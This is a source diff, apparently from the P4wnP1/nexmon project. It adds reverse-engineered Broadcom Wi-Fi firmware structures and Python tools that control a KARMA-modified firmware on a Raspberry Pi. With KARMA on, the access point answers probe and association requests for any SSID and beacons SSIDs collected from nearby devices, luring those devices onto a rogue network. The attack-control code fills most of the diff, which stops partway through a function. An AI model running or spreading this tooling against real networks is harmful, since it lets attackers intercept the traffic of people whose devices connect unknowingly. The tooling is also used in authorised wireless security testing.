diff --git a/firmwares/bcm43430a1/structs.common.h b/firmwares/bcm43430a1/structs.common.h
index 5b252411a..d16f7a431 100644
--- a/firmwares/bcm43430a1/structs.common.h
+++ b/firmwares/bcm43430a1/structs.common.h
@@ -406,6 +406,59 @@ struct wlc_if {
struct wlc_if_stats _cnt;
};
+#define ETHER_ADDR_LEN 6 /* d11 management header length */
+struct ether_addr {
+ uint8 octet[ETHER_ADDR_LEN];
+};
+
+typedef struct wlc_if wlc_if_t;
+typedef struct wlc_bsscfg wlc_bsscfg_t;
+typedef struct wlc_info wlc_info_t;
+typedef struct wl_info wl_info_t;
+typedef struct hnd_dev hnd_dev_t;
+
+#define HND_DEV_NAME_MAX 16
+
+/* Device instance */
+struct hnd_dev {
+ char name[HND_DEV_NAME_MAX];
+ uint32 devid;
+ uint32 flags;
+ //hnd_dev_ops_t *ops;
+ void *ops;
+ void *softc;
+ hnd_dev_t *next;
+ hnd_dev_t *chained;
+ //hnd_dev_stats_t *stats;
+ void *stats;
+ void *commondata;
+ void *pdev;
+};
+
+
+typedef struct hnd_timer hnd_timer_t;
+typedef struct hnd_timer hnd_task_t;
+typedef hnd_timer_t wl_timer;
+typedef struct wlc_ap_info wlc_ap_info_t;
+
+struct wlc_ap_info {
+ int PAD;
+};
+
+struct hnd_timer
+{
+ int PAD;
+};
+
+typedef struct wlc_assoc {
+ /* MaMe82: struct not verified */
+
+ struct wl_timer *timer; //0x00
+ char gap[0x44];
+ bool rt; //0x48
+
+} wlc_assoc_t;
+
struct wlc_info {
struct wlc_pub *pub; /* 0x000 */
struct osl_info *osh; /* 0x004 */
@@ -564,8 +617,18 @@ struct wlc_info {
int PAD; /* 0x25C */
int PAD; /* 0x260 */
int PAD; /* 0x264 */
- int PAD; /* 0x268 */
- int PAD; /* 0x26C */
+/*
+ * MaMe82:
+ *
+ * The code @0x1d23a shows how the bsscfg array of wlc_info struct is iterated and reveals:
+ * offset 0x268: wlc_bsscfg_t **bsscfg //array of pointers to bsscfg structs in use, max length is 0x20
+ * offset 0x26C: wlc_bsscfg_t *cfg //pointer to primary bsscfg
+ *
+ * The observations have been verified on FW version 7.45.41.46
+ */
+
+ wlc_bsscfg_t **bsscfg; /* 0x268 */ //MaMe82: checked, see comments above
+ wlc_bsscfg_t *cfg; /* 0x26C */ //MaMe82: checked, see comments above
int PAD; /* 0x270 */
int PAD; /* 0x274 */
int PAD; /* 0x278 */
@@ -576,7 +639,7 @@ struct wlc_info {
int PAD; /* 0x28C */
int PAD; /* 0x290 */
int PAD; /* 0x294 */
- int PAD; /* 0x298 */
+ uint8 FW_PAD_UNUSED[4]; /* 0x298 */ //Dangerous, needs to be validated to avoid hitting channel_quality or *txmod_fs
int PAD; /* 0x29C */
int PAD; /* 0x2A0 */
int PAD; /* 0x2A4 */
@@ -696,7 +759,7 @@ struct wlc_info {
int PAD; /* 0X46C */
int PAD; /* 0X470 */
int PAD; /* 0X474 */
- int PAD; /* 0X478 */
+ void *pcb; /* 0X478 */
int PAD; /* 0X47C */
int PAD; /* 0X480 */
int PAD; /* 0X484 */
@@ -732,7 +795,8 @@ struct wlc_info {
int PAD; /* 0X4FC */
int PAD; /* 0X500 */
int PAD; /* 0X504 */
- int PAD; /* 0X508 */
+ //MaMe82: see code @ 0x0083f0cc
+ int ap; /* 0X508 */
int PAD; /* 0X50C */
short some_chanspec; /* 0X510 */
short PAD; /* 0X512 */
@@ -797,12 +861,13 @@ struct wlc_info {
int PAD; /* 0X5FC */
};
+
/* partly CHECKED */
struct wlc_pub {
struct wlc_info *wlc; /* 0x000 */
- int PAD; /* 0x004 */
- int PAD; /* 0x008 */
- int PAD; /* 0x00C */
+ struct ether_addr cur_etheraddr; /* 0x004 */
+ uint32 unit; /* 0x00A */ //uint device instance num
+ short PAD; /* 0x00E */
int PAD; /* 0x010 */
int PAD; /* 0x014 */
int PAD; /* 0x018 */
@@ -813,8 +878,18 @@ struct wlc_pub {
char field_26; /* 0x026 */
char field_27; /* 0x027 */
int PAD; /* 0x028 */
- int PAD; /* 0x02C */
- int field_30; /* 0x030 */
+ //MaMe82 see code @ 0x0083f0be
+// int PAD; /* 0x02C */
+ bool PAD; //0x02c
+ bool PAD; //0x02d
+ bool PAD; //0x02e
+ bool _ap; //0x02f is AP
+// int field_30; /* 0x030 */
+ bool _apsta; //0x030 is APSTA
+ bool PAD; //0x031
+ bool PAD; //0x032
+ bool PAD; //0x033
+
int PAD; /* 0x034 */
int PAD; /* 0x038 */
int PAD; /* 0x03C */
@@ -831,27 +906,55 @@ struct wlc_pub {
int PAD; /* 0x050 */
char gap2[147];
char is_amsdu; // @ 0xe7
+ char gap3[4];
+ uint32 bcn_tmpl_len; //0xEC
+
+ //0xec --> bcn_tmpl_len ??
} __attribute__((packed));
+
+#define WLC_NUMRATES 16
+#define MCSSET_LEN 16
+
+typedef uint32 ratespec_t;
+
+typedef struct wlc_rateset {
+ uint32 count; //likely to be uint16
+ uint8 rates[WLC_NUMRATES];
+ //uint8 htphy_membership;
+ //uint8 mcs[MCSSET_LEN];
+ //uint16 vht_mcsmap;
+ //uint16 vht_mcsmap_prop;
+} wlc_rateset_t;
+
+typedef struct wlc_bss_info {
+ struct ether_addr BSSID; //0x00
+ uint8 GAP[0x32]; //0x06
+ wlc_rateset_t rateset; //0x38 MaMe82 : see code @ 0x008377fa
+ uint8 TAIL[1];
+} wlc_bss_info_t;
+
struct wlc_bsscfg {
- void *wlc; /* 0x000 */
- char associated; /* 0x004 */
- char PAD; /* 0x005 */
- char PAD; /* 0x006 */
- char PAD; /* 0x007 */
- int PAD; /* 0x008 */
- int PAD; /* 0x00C */
- int PAD; /* 0x010 */
+ struct wlc_info *wlc; /* 0x000 */
+ bool up; /* 0x004 */ //up
+ bool enable; /* 0x005 */ //enable
+ bool _ap; /* 0x006 */ //_ap
+ bool _psta; /* 0x007 */ //_psta
+ bool associated; /* 0x008 */
+ bool PAD; /* 0x009 */
+ bool PAD; /* 0x00a */
+ bool PAD; /* 0x00b */
+ wlc_if_t *wlcif; /* 0x00C */
+ bool BSS; /* 0x010 */
+ bool PAD; /* 0x011 */
+ bool PAD; /* 0x012 */
+ bool PAD; /* 0x013 */
int PAD; /* 0x014 */
- int PAD; /* 0x018 */
- int PAD; /* 0x01C */
- int PAD; /* 0x020 */
- int PAD; /* 0x024 */
- int PAD; /* 0x028 */
- int PAD; /* 0x02C */
- int PAD; /* 0x030 */
- int PAD; /* 0x034 */
- int PAD; /* 0x038 */
+ uint8 SSID_len; /* 0x018 */
+ uint8 SSID[32]; /* 0x019 */
+ uint8 PAD; /* 0x039 */
+ uint8 PAD; /* 0x03A */
+ uint8 PAD; /* 0x03B */
int PAD; /* 0x03C */
int PAD; /* 0x040 */
int PAD; /* 0x044 */
@@ -898,8 +1001,10 @@ struct wlc_bsscfg {
int PAD; /* 0x0E8 */
int PAD; /* 0x0EC */
int PAD; /* 0x0F0 */
- int PAD; /* 0x0F4 */
- int PAD; /* 0x0F8 */
+ //int PAD; /* 0x0F4 */
+ wlc_bss_info_t *current_bss; /* 0x0F4 */ //MaMe82: see code @ 0x008377f4
+ //int PAD; /* 0x0F8 */
+ wlc_assoc_t *assoc; /* 0x0F8 */ //MaMe82: see code @ 0x00847840
int PAD; /* 0x0FC */
int PAD; /* 0x100 */
int PAD; /* 0x104 */
@@ -1818,6 +1923,7 @@ struct tdls_iovar {
uint8 PAD;
} __attribute__((packed));
+
/*
struct bdc_ethernet_ip_udp_header {
struct bdc_header bdc;
diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/karmatool.py b/patches/bcm43430a1/7_45_41_46/nexmon/karmatool.py
new file mode 100755
index 000000000..ed6bad172
--- /dev/null
+++ b/patches/bcm43430a1/7_45_41_46/nexmon/karmatool.py
@@ -0,0 +1,215 @@
+#!/usr/bin/python
+
+#!/usr/bin/python
+
+# This file is part of P4wnP1.
+#
+# Copyright (c) 2017, Marcus Mengs.
+#
+# P4wnP1 is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# P4wnP1 is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with P4wnP1. If not, see .
+
+
+# The command line tool could be used to configure the MaMe82 nexmon firmware mod (KARMA)
+# for Pi3 / Pi0W while an access point is up and running
+
+from mame82_util import *
+import cmd
+import sys
+import getopt
+
+def interact():
+ pass
+
+def usage():
+ usagescr = '''Firmware configuration tool for KARMA modified nexmon WiFi firmware on Pi0W/Pi3 by MaMe82
+=========================================================================================
+
+RePo: https://github.com/mame82/P4wnP1_nexmon_additions
+Creds to: seemoo-lab for "NEXMON" project
+
+A hostapd based Access Point should be up and running, when using this tool
+(see the README for details).
+
+Usage: python karmatool.py [Arguments]
+
+Arguments:
+ -h Print this help screen
+ -i Interactive mode
+ -d Load default configuration (KARMA on, KARMA beaconing off,
+ beaconing for 13 common SSIDs on, custom SSIDs never expire)
+ -c Print current KARMA firmware configuration
+ -p 0/1 Disable/Enable KARMA probe responses
+ -a 0/1 Disable/Enable KARMA association responses
+ -k 0/1 Disable/Enable KARMA association responses and probe responses
+ (overrides -p and -a)
+ -b 0/1 Disable/Enable KARMA beaconing (broadcasts up to 20 SSIDs
+ spotted in probe requests as beacon)
+ -s 0/1 Disable/Enable custom SSID beaconing (broadcasts up to 20 SSIDs
+ which have been added by the user with '--addssid=' when enabled)
+ --addssid="test" Add SSID "test" to custom SSID list (max 20 SSIDs)
+ --remssid="test" Remove SSID "test" from custom SSID list
+ --clearssids Clear list of custom SSIDs
+ --clearkarma Clear list of karma SSIDs (only influences beaconing, not probes)
+ --autoremkarma=600 Auto remove KARMA SSIDs from beaconing list after sending 600 beacons
+ without receiving an association (about 60 seconds, 0 = beacon forever)
+ --autoremcustom=3000 Auto remove custom SSIDs from beaconing list after sending 3000
+ beacons without receiving an association (about 5 minutes, 0 = beacon
+ forever)
+
+Example:
+ python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses)
+ But sends no beacons for SSIDs from received probes
+ python karmatool.py -k 1 -b 0 Enables KARMA (probe and association responses)
+ and sends beacons for SSIDs from received probes
+ (max 20 SSIDs, if autoremove isn't enabled)
+
+ python karmatool.py --addssid="test 1" --addssid="test 2" -s 1
+ Add SSID "test 1" and "test 2" and enable beaconing for
+ custom SSIDs
+'''
+ print(usagescr)
+
+def print_conf():
+ print "Retrieving current configuration ...\n===================================="
+ MaMe82_IO.dump_conf(print_res=True)
+
+def check_bool_arg(arg):
+ try:
+ res = int(arg)
+ if (res == 0) or (res == 1):
+ return res
+ else:
+ return -1
+ except ValueError:
+ return -1
+
+def main(argv):
+ try:
+ opts, args = getopt.getopt(argv, "hicdk:p:a:b:s:", ["help", "interactive", "currentconfig", "setdefault", "clearkarma", "clearssids", "addssid=", "remssid=", "autoremkarma=", "autoremcustom="])
+ except getopt.GetoptError:
+ print "ERROR: Wrong command line argument(s)"
+ print "-------------------------------------\n"
+ usage()
+ sys.exit(2)
+
+ for opt, arg in opts:
+ if opt in ("-h", "--help"):
+ usage()
+ sys.exit()
+ elif opt in ("-d", "--setdefault"):
+ print "Setting default configuration ..."
+ MaMe82_IO.set_defaults()
+ print_conf()
+ sys.exit()
+ elif opt in ("-i", "--interactive"):
+ print "Interactive mode"
+ print "... Sorry, feature not implemented, yet ... stay tuned"
+ sys.exit()
+ elif opt in ("-c", "--currentconfig"):
+ print_conf()
+ elif opt == "-p":
+ val = check_bool_arg(arg)
+ if (val == -1):
+ print "Argument error for -p (KARMA probe), must be 0 or 1 .... ignoring option"
+ else:
+ print "Setting KARMA probe responses to {0}".format("On" if (val==1) else "Off")
+ MaMe82_IO.set_enable_karma_probe(True if (val==1) else False)
+ elif opt == "-a":
+ val = check_bool_arg(arg)
+ if (val == -1):
+ print "Argument error for -a (KARMA associations), must be 0 or 1 .... ignoring option"
+ else:
+ print "Setting KARMA association responses to {0}".format("On" if (val==1) else "Off")
+ MaMe82_IO.set_enable_karma_assoc(True if (val==1) else False)
+ elif opt == "-k":
+ val = check_bool_arg(arg)
+ if (val == -1):
+ print "Argument error for -k (KARMA probes and associations), must be 0 or 1 .... ignoring option"
+ else:
+ print "Setting KARMA probe and association responses to {0}".format("On" if (val==1) else "Off")
+ MaMe82_IO.set_enable_karma(True if (val==1) else False)
+ elif opt == "-b":
+ val = check_bool_arg(arg)
+ if (val == -1):
+ print "Argument error for -b (KARMA beaconing), must be 0 or 1 .... ignoring option"
+ else:
+ print "Setting KARMA beaconing to {0}".format("On" if (val==1) else "Off")
+ MaMe82_IO.set_enable_karma_beaconing(True if (val==1) else False)
+ elif opt == "-s":
+ val = check_bool_arg(arg)
+ if (val == -1):
+ print "Argument error for -s (custom beaconing), must be 0 or 1 .... ignoring option"
+ else:
+ print "Setting custom beaconing to {0}".format("On" if (val==1) else "Off")
+ MaMe82_IO.set_enable_custom_beaconing(True if (val==1) else False)
+ elif opt == "--addssid":
+ if len(arg) == 0 or len(arg) > 32:
+ print "Argument error for --addssid, mustn't be empty max length is 32 ... ignoring option"
+ else:
+ MaMe82_IO.add_custom_ssid(arg)
+ elif opt == "--remssid":
+ if len(arg) == 0 or len(arg) > 32:
+ print "Argument error for --remssid, mustn't be empty max length is 32 ... ignoring option"
+ else:
+ MaMe82_IO.rem_custom_ssid(arg)
+ elif opt == "--clearssids":
+ print "Removing all custom SSIDs"
+ MaMe82_IO.clear_custom_ssids()
+ elif opt == "--clearkarma":
+ print "Removing all KARMA SSIDs (no influence on probe / assoc responses)"
+ MaMe82_IO.clear_karma_ssids()
+ elif opt == "--autoremkarma":
+ error="An integer value >=0 is needed for autoremkarma ... ignoring option"
+ try:
+ val = int(arg)
+ if (val < 0):
+ print error
+ else:
+ print "Removing KARMA SSIDs after sending {0} beacons without occuring association".format(val)
+ MaMe82_IO.set_autoremove_karma_ssids(val)
+ except ValueError:
+ print error
+ elif opt == "--autoremcustom":
+ error="An integer value >=0 is needed for autoremcustom ... ignoring option"
+ try:
+ val = int(arg)
+ if (val < 0):
+ print error
+ else:
+ print "Removing custom SSIDs after sending {0} beacons without occuring association".format(val)
+ MaMe82_IO.set_autoremove_custom_ssids(val)
+ except ValueError:
+ print error
+
+
+
+ print ""
+ print_conf()
+
+
+
+if __name__ == "__main__":
+ if not MaMe82_IO.check_for_karma_cap():
+ print "The current WiFi Firmware in use doesn't seem to support KARMA"
+ print "A modified and precompiled nexmon firmware for Pi3 / Pi0w with KARMA support could"
+ print "be found here:\thttps://github.com/mame82/P4wnP1_nexmon_additions"
+ sys.exit()
+ else:
+ print "Firmware in use seems to be KARMA capable"
+
+ if len(sys.argv) < 2:
+ usage()
+ sys.exit()
+ main(sys.argv[1:])
+
diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/mame82_util.py b/patches/bcm43430a1/7_45_41_46/nexmon/mame82_util.py
new file mode 100755
index 000000000..01d559275
--- /dev/null
+++ b/patches/bcm43430a1/7_45_41_46/nexmon/mame82_util.py
@@ -0,0 +1,604 @@
+#!/usr/bin/python
+
+# This file is part of P4wnP1.
+#
+# Copyright (c) 2017, Marcus Mengs.
+#
+# P4wnP1 is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# P4wnP1 is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with P4wnP1. If not, see .
+
+
+# The python classes are used to configure the MaMe82 nexmon firmware mod
+# while an access point is up and running
+
+import fcntl
+import socket
+import os
+from ctypes import *
+import struct
+
+class struct_ssid_list(Structure):
+ # we define the fields afterwards to allow creating a pointer to this struct
+ # which only is declared here (no fields defined so far)
+ pass
+
+struct_ssid_list._fields_ = [("next", POINTER(struct_ssid_list)),
+ ("ssid", c_ubyte*33),
+ ("len_ssid", c_ubyte),
+ ("assoc_req", c_uint),
+ ("bcn_send", c_uint)]
+
+class struct_mame82_config(Structure):
+ _fields_ = [("karma_probes", c_bool),
+ ("karma_assocs", c_bool),
+ ("karma_beacons", c_bool),
+ ("custom_beacons", c_bool),
+ ("debug_out", c_bool),
+ ("ssids_custom", c_void_p),
+ ("ssids_karma", c_void_p),
+ ("karma_beacon_autoremove", c_uint),
+ ("custom_beacon_autoremove", c_uint),
+ ("max_karma_beacon_ssids", c_ubyte),
+ ("max_custom_beacon_ssids", c_ubyte)]
+
+class struct_mame82_config(Structure):
+ _fields_ = [("karma_probes", c_bool),
+ ("karma_assocs", c_bool),
+ ("karma_beacons", c_bool),
+ ("custom_beacons", c_bool),
+ ("debug_out", c_bool),
+ ("ssids_custom", POINTER(struct_ssid_list)),
+ ("ssids_karma", POINTER(struct_ssid_list)),
+ ("karma_beacon_autoremove", c_uint),
+ ("custom_beacon_autoremove", c_uint),
+ ("max_karma_beacon_ssids", c_ubyte),
+ ("max_custom_beacon_ssids", c_ubyte)]
+
+class struct_nlmsghdr(Structure):
+ _fields_ = [("nlmsg_len", c_uint),
+ ("nlmsg_type", c_ushort),
+ ("nlmsg_flags", c_ushort),
+ ("nlmsg_seq", c_uint),
+ ("nlmsg_pid", c_uint)]
+
+
+class struct_IOCTL(Structure):
+ _fields_ = [("cmd", c_uint),
+ ("buf", c_void_p),
+ ("len", c_uint),
+ ("set", c_bool),
+ ("used", c_uint),
+ ("needed", c_uint),
+ ("driver", c_uint)]
+
+class struct_IFREQ(Structure):
+ _fields_ = [("ifr_name", c_char*16),
+ ("ifr_data", c_void_p)]
+
+
+class struct_nexudp_hdr(Structure):
+ _fields_ = [("nex", c_char * 3),
+ ("type", c_char),
+ ("securitycookie", c_int)]
+
+
+class struct_nexudp_ioctl_hdr(Structure):
+ _fields_ = [("nexudphdr", struct_nexudp_hdr),
+ ("cmd", c_uint),
+ ("set", c_uint),
+ ("payload", c_byte * 1)]
+
+
+class nexconf:
+ NLMSG_ALIGNTO = 4
+ RTMGRP_LINK = 1
+# IFLA_IFNAME = 3
+# NLM_F_REQUEST = 0x0001
+# NLM_F_ROOT = 0x0100
+# NLMSG_NOOP = 0x0001
+# NLMSG_ERROR = 0x0002
+# NLMSG_DONE = 0x0003
+
+ NEXUDP_IOCTL = 0
+ NETLINK_USER = 31
+
+ @staticmethod
+ def create_cmd_ioctl(cmd, buf, set_val=False):
+ ioctl = struct_IOCTL()
+ ioctl.cmd = cmd
+ ioctl.buf = cast(c_char_p(buf), c_void_p)
+ ioctl.len = len(buf)
+ ioctl.set = set_val
+ ioctl.driver = 0x14e46c77
+ return ioctl
+
+ @staticmethod
+ def create_ifreq(ifr_name, ifr_data):
+ ifr = struct_IFREQ()
+ ifr.ifr_name = struct.pack("16s", ifr_name) # padded with zeroes (maybe utf-8 conversion should be assured ?!?!)
+ ifr.ifr_data = cast(pointer(ifr_data), c_void_p)
+ return ifr
+
+ @staticmethod
+ def c_struct2str(c_struct):
+ return string_at(addressof(c_struct), sizeof(c_struct))
+
+ @staticmethod
+ def ptr2str(ptr, length):
+ return string_at(ptr, length)
+
+ @staticmethod
+ def ctype2pystr(ct):
+ return buffer(ct)[:]
+
+ @staticmethod
+ def print_struct(struct, pre=""):
+ for field_name, field_type in struct._fields_:
+ print pre, field_name, field_type, getattr(struct, field_name)
+
+ @staticmethod
+ def NLMSG_ALIGN(length):
+ return ((length + nexconf.NLMSG_ALIGNTO-1) & ~(nexconf.NLMSG_ALIGNTO - 1))
+
+ @staticmethod
+ def NLMSG_HDRLEN():
+ return nexconf.NLMSG_ALIGN(sizeof(struct_nlmsghdr))
+
+ @staticmethod
+ def NLMSG_LENGTH(length):
+ return length + nexconf.NLMSG_ALIGN(nexconf.NLMSG_HDRLEN())
+
+ @staticmethod
+ def NLMSG_SPACE(length):
+ return nexconf.NLMSG_ALIGN(nexconf.NLMSG_LENGTH(length))
+
+ @staticmethod
+ def NLMSG_DATA(nlh):
+ c = cast(nlh, c_void_p)
+ c.value += nexconf.NLMSG_LENGTH(0) # inc is only possible for void ptr, we don't need to cast to char first as incrementation is done in single bytes (by adding to value)
+ return c
+
+ @staticmethod
+ def sendNL_IOCTL(ioc, debug=False, rawresult=False):
+ ### NETLINK test ####
+
+ if debug:
+ print "Sending NL IOCTL\n\tcmd: {0}\n\tset_enabled: {1}\n\tpayload: {2}".format(ioc.cmd, ioc.set, repr(nexconf.ptr2str(ioc.buf, ioc.len)))
+
+
+
+
+ frame_len = ioc.len + sizeof(struct_nexudp_ioctl_hdr) - sizeof(c_char)
+ frame = struct_nexudp_ioctl_hdr()
+
+ nlhbuf = create_string_buffer(nexconf.NLMSG_SPACE(frame_len))
+ nlh = cast(pointer(nlhbuf), POINTER(struct_nlmsghdr))
+
+ nlh.contents.nlmsg_len = nexconf.NLMSG_SPACE(frame_len)
+ nlh.contents.nlmsg_pid = os.getpid();
+ nlh.contents.nlmsg_flags = 0;
+
+
+ pdata = nexconf.NLMSG_DATA(nlh)
+ frame = cast(pdata, POINTER(struct_nexudp_ioctl_hdr))
+ frame.contents.nexudphdr.nex = 'NEX'
+ frame.contents.nexudphdr.type = chr(nexconf.NEXUDP_IOCTL)
+ frame.contents.nexudphdr.securitycookie = 0;
+
+ frame.contents.cmd = ioc.cmd
+ frame.contents.set = ioc.set
+ #frame.contents.payload = nexconf.ptr2str(ioc.buf, ioc.len)
+ memmove(addressof(frame.contents.payload), ioc.buf, ioc.len)
+
+
+
+ # frame to string
+ fstr = nexconf.ptr2str(frame, nexconf.NLMSG_SPACE(frame_len) - nexconf.NLMSG_LENGTH(0))
+
+ #full buf to string (including nlhdr)
+ p_nlhbuf = pointer(nlhbuf)
+ bstr = nexconf.ptr2str(p_nlhbuf, nexconf.NLMSG_SPACE(frame_len))
+
+
+ '''
+ print "NL HEADER"
+ print type(p_nlhbuf)
+ print repr(bstr)
+ print repr(buffer(p_nlhbuf.contents)[:])
+ print "NL MESSAGE DATA"
+ print type(frame)
+ print repr(fstr)
+ print repr(buffer(frame.contents)[:])
+ '''
+
+
+ try:
+ s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, nexconf.NETLINK_USER)
+ except socket.error:
+ print "No Netlink IOCTL connection possible"
+ return None
+
+ # bind to kernel
+ s.bind((os.getpid(), 0))
+ sfd = os.fdopen(s.fileno(), 'w+b')
+
+
+ sfd.write(bstr)
+ sfd.flush()
+
+ ret = ""
+ if (ioc.set == 0):
+ # read back result (CAUTION THERE'S NO SOCKET TIMEOUT IN USE, SO THIS COULD STALL)
+ if debug:
+ print "Reading back NETLINK answer ..."
+ res_frame = sfd.read(nlh.contents.nlmsg_len)
+ res_frame_len = len(res_frame)
+ if rawresult:
+ # don't cast and parse headers
+ sfd.close()
+ s.close()
+ return res_frame
+
+ # pointer to result buffer
+ p_res_frame = cast(c_char_p(res_frame), c_void_p)
+
+ # point struct nlmsghdr to p_res_frame
+ p_nlh = cast(p_res_frame, POINTER(struct_nlmsghdr))
+
+ # grab pointer to data part of nlmsg
+ p_nld_void = nexconf.NLMSG_DATA(p_nlh)
+
+ # convert to: struct nexudp_ioctl_hdr*
+ p_nld = cast(p_nld_void, POINTER(struct_nexudp_ioctl_hdr))
+
+ # calculate offset to payload from p_res_frame
+ offset_payload = addressof(p_nld.contents.payload) - p_res_frame.value
+
+ payload = res_frame[offset_payload:]
+
+ if debug:
+ nexconf.print_struct(p_nlh.contents, "\t")
+ nexconf.print_struct(p_nld.contents, "\t")
+ nexconf.print_struct(p_nld.contents.nexudphdr, "\t")
+ print "\tpayload:\t" + repr(payload)
+
+
+ #return only payload part of res frame
+ ret = payload
+
+ sfd.close()
+ s.close()
+
+ return ret
+
+ @staticmethod
+ def send_IOCTL(ioc, device_name = "wlan0"):
+ # This code is untested, because our target (BCM43430a1) talks NETLINK
+ # so on Pi0w sendNL_IOCTL should be used
+
+ SIOCDEVPRIVATE = 0x89F0
+
+ # create ioctl ifreq
+ ifr = nexconf.create_ifreq(device_name, ioc)
+
+
+ # debug out
+ '''
+ print repr(nexconf.c_struct2str(ifr))
+ print len(nexconf.c_struct2str(ifr))
+ print repr(string_at(ifr.ifr_data, sizeof(ioc)))
+ '''
+
+ # send ioctl to kernel via UDP socket
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+ fcntl.ioctl(s.fileno(), SIOCDEVPRIVATE, ifr)
+ s.close()
+
+class MaMe82_IO:
+ CMD=666
+ CMD_RETRIEVE_CAP = 400
+ KARMA_CAP = (1 << 7)
+
+ MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE = 1
+ MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC = 2
+ MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA = 3
+ MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON = 4
+ MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT = 5
+ MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT = 6
+ MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID = 7
+ MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID = 8
+ MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS = 9
+ MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS = 10
+ MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS = 11
+
+ MAME82_IOCTL_ARG_TYPE_GET_CONFIG = 100
+ MAME82_IOCTL_ARG_TYPE_GET_MEM = 101
+
+ @staticmethod
+ def s2hex(s):
+ return "".join(map("0x%2.2x ".__mod__, map(ord, s)))
+
+ @staticmethod
+ def add_custom_ssid(ssid):
+ if len(ssid) > 32:
+ print "SSID too long, 32 chars max"
+ return
+ ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID, len(ssid), ssid), True)
+ nexconf.sendNL_IOCTL(ioctl_addssid)
+
+ @staticmethod
+ def rem_custom_ssid(ssid):
+ if len(ssid) > 32:
+ print "SSID too long, 32 chars max"
+ return
+ ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID, len(ssid), ssid), True)
+ nexconf.sendNL_IOCTL(ioctl_addssid)
+
+ @staticmethod
+ def set_enable_karma_probe(on=True):
+ if on:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 1), True)
+ else:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 0), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+ @staticmethod
+ def set_enable_karma_assoc(on=True):
+ if on:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 1), True)
+ else:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 0), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+ @staticmethod
+ def set_enable_karma_beaconing(on=True):
+ if on:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 1), True)
+ else:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 0), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+ @staticmethod
+ def set_enable_custom_beaconing(on=True):
+ if on:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 1), True)
+ else:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 0), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+
+ @staticmethod
+ def set_enable_karma(on=True):
+ if on:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 1), True)
+ else:
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 0), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+ @staticmethod
+ def clear_custom_ssids():
